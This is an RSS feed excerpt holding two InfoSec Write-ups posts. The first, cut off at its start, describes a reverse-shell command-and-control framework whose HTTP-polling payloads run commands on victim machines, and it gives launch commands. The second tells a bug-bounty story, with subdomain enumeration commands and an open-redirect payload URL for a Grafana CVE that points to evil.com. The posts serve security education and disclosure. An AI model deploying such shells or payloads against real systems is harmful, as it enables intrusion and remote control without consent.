interact with multiple victims simultaneously without blocking or slowing down the main server.</li></ul><h3>Payload Generation</h3><p>The C2 server creates a <strong>Cloudflared tunnel</strong> on either a random port or a user-specified one. It then generates payloads targeting:</p><ul><li><strong>Windows</strong> systems</li><li><strong>Linux</strong> systems</li></ul><p>Each payload is embedded with the public tunnel URL, allowing it to control the victim device from anywhere — even behind firewalls or NAT.</p><h3>How the Payload Works</h3><p>Here’s the basic logic of each generated payload:</p><ol><li>Initiates a loop to send regular HTTP requests to the attacker server.</li><li>Waits for response — if a command is sent back, the payload:</li></ol><ul><li>Executes it on the victim device.</li><li>Sends the <strong>command output</strong> back to the server in a POST request.</li></ul><p>If no command is sent, the victim simply retries after a short interval.</p><p>This simple loop creates a <strong>persistent reverse shell</strong>, cloaked inside standard HTTP. Revenant supports <strong>concurrent sessions</strong> with multiple victims. Each victim is uniquely identified using their device name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*kMcrpgdXgb6oU-3_ExK5Nw.png" /></figure><blockquote><em>This interaction looks just like a regular web client talking to a server — making it hard to detect.</em></blockquote><h3>Setup &amp; Run</h3><p>To launch the server:</p><pre>./revenant_server -p 8080</pre><p>To generate payloads:</p><pre>generate os=linux<br>generate os=windows</pre><p>Once deployed on victim systems, they connect back and await instructions.</p><h3>Final Thoughts</h3><p><strong>Revenant</strong> is a minimalist, efficient, and stealthy reverse shell C2 framework. It shows how with just HTTP, C++, and some creativity — you can build a flexible infrastructure for red team simulations, malware analysis labs, or controlled testing.</p><h3>Repository</h3><p>You can find the full source code and documentation here:<br> 🔗 <a href="https://github.com/dharineeshj/Revenant">https://github.com/dharineeshj/Revenant</a></p><h3>Disclaimer</h3><blockquote><strong><em>This project is strictly for educational and research purposes only.</em></strong><em><br> Unauthorized use of this tool to access systems without explicit permission is illegal.<br> The author does not condone or take responsibility for any misuse.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c73167670619" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/revenant-a-modern-full-stack-reverse-shell-c2-framework-from-payload-generation-to-victim-c73167670619">Revenant: A Modern, Full-Stack Reverse Shell C2 Framework — From Payload Generation to Victim…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My Journey to NASA’s Hall of Fame]]></title>
            <link>https://infosecwriteups.com/my-journey-to-nasas-hall-of-fame-6e680736f557?source=rss-66404783996f------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e680736f557</guid>
            <category><![CDATA[hall-of-fame]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[nasa]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Hack-Bat]]></dc:creator>
            <pubDate>Fri, 30 May 2025 18:21:24 GMT</pubDate>
            <atom:updated>2025-05-31T12:35:51.178Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M3LQE9s3e3bAeadvp1O__A.png" /></figure><p>Hi, I’m <strong>Dharineesh</strong>, AKA <strong>Hack-Bat</strong>, and this is the story of how I ended up being listed in the <strong>NASA Hall of Fame</strong>. It wasn’t a smooth ride. The path was filled with long nights, false hopes, and a lot of second-guessing. But every time I stumbled, I asked myself a simple question: <em>“stay down or get up”</em> — and I got back up.</p><p>Here’s how things unfolded.</p><h3>Phase 1: Google Dorking</h3><p>I began with what a lot of bug hunters do: <strong>Google Dorking</strong>. It’s like looking for needles in a haystack using smart magnets — crafting specific search queries to find misconfigurations, exposed credentials, and more.</p><p>I spent days digging through public directories, login portals, and possible leaked documents. Some of it looked promising. But when I submitted those finds, they came back as <strong>“Not Applicable”</strong>. That happened not once, not twice, but five times in a row.</p><p>At that point, I was frustrated. But something in me said: <em>You’ve made it this far. Keep going.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FvOjsoD-8taXos4tgTG7uw.png" /></figure><h3>Phase 2: The Game-Changer — CVE-2025–4123</h3><p>That’s when I came across a fresh CVE — <strong>CVE-2025–4123</strong> — tied to <strong>Grafana</strong>, it is an open-source web application used for analytics and interactive data visualization. It’s widely used for monitoring application performance, visualizing metrics, and configuring alerts.</p><p>The vulnerability allowed attackers to:</p><ul><li>Redirect users through <strong>open redirect</strong> flaws</li><li>Pull off <strong>SSRF attacks</strong> to query internal services</li><li>Trigger <strong>account takeover</strong> using XSS</li></ul><p>This was a big deal. Now I just had to find an exposed Grafana instance. Simple in theory, a grind in reality.</p><h3>Phase 3: The Subdomain Hunt</h3><p>This is where things got messy — in a good way. Finding Grafana meant doing <strong>massive subdomain enumeration</strong>. I couldn’t rely on just one tool. Here’s the combo that worked:</p><pre>subfinder -d example.com<br>curl -s &quot;https://crt.sh/?q=%25.example.com&quot; | grep -oP &quot;([a-zA-Z0-9_-]+\.)+example\.com&quot; | sort -u<br>assetfinder --subs-only example.com<br>findomain -t example.com</pre><p>I extracted the top three-level subdomains using the below command:</p><pre>awk -F. &#39;{n=NF; if(n&gt;=3) print $(n-2)&quot;.&quot;$(n-1)&quot;.&quot;$n; else print $0}&#39; subdomain.txt | sort -u &gt; top3_subdomains.txt</pre><p>Then performed subdomain enumeration on each of them using the tools mentioned above.</p><p>I merged the results and filtered them through httpx to see which ones were alive:</p><pre>cat final_subdomain.txt | httpx -ports 80,443,8080,8000,8888 -threads 200</pre><h3>Phase 4: Found It</h3><p>Eventually, I found a couple of suspicious-looking Grafana panels.</p><p>I took the known payload for CVE-2025–4123 and crafted this URL:</p><pre>https://grafana.x.y.example.com/public/..%2F%5cevil.com%2F%3f%2F..%2F..</pre><p>I opened the link, waited for a second — and it redirected.</p><p>This was it. The vulnerability was real, and it was exploitable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ch50WI5ZvrYBJbS5Rp2f_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ukfOOJ9jKhS5vRmeBGdXmg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mu79rWMiiV3YUxB3q_XeAQ.png" /></figure><h3>What I Learned</h3><p>Some takeaways that might help others:</p><ul><li>Enumeration is more than just running a tool. Mix and match methods.</li><li>Fresh CVEs are goldmines — if you move early.</li><li>Don’t stop at rejection. Analyze why it failed, adjust, and retry.</li><li>Always document your process — clean, reproducible reports are key.</li></ul><h3>References</h3><ul><li><a href="https://medium.com/@Nightbloodz/grafana-cve-2025-4123-full-read-ssrf-account-takeover-d12abd13cd53">https://medium.com/@Nightbloodz/grafana-cve-2025-4123-full-read-ssrf-account-takeover-d12abd13cd53</a></li></ul><h3>Wrapping Up</h3><p>Bug hunting isn’t about luck. It’s about persistence, timing, and understanding systems deeply. Not everything you find will be useful — but every failed attempt sharpens your instincts.</p><blockquote>“Don’t aim for the trophy. Aim for the process. The trophy will follow.”</blockquote><p><strong>— Hack-Bat</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e680736f557" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/my-journey-to-nasas-hall-of-fame-6e680736f557">My Journey to NASA’s Hall of Fame</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>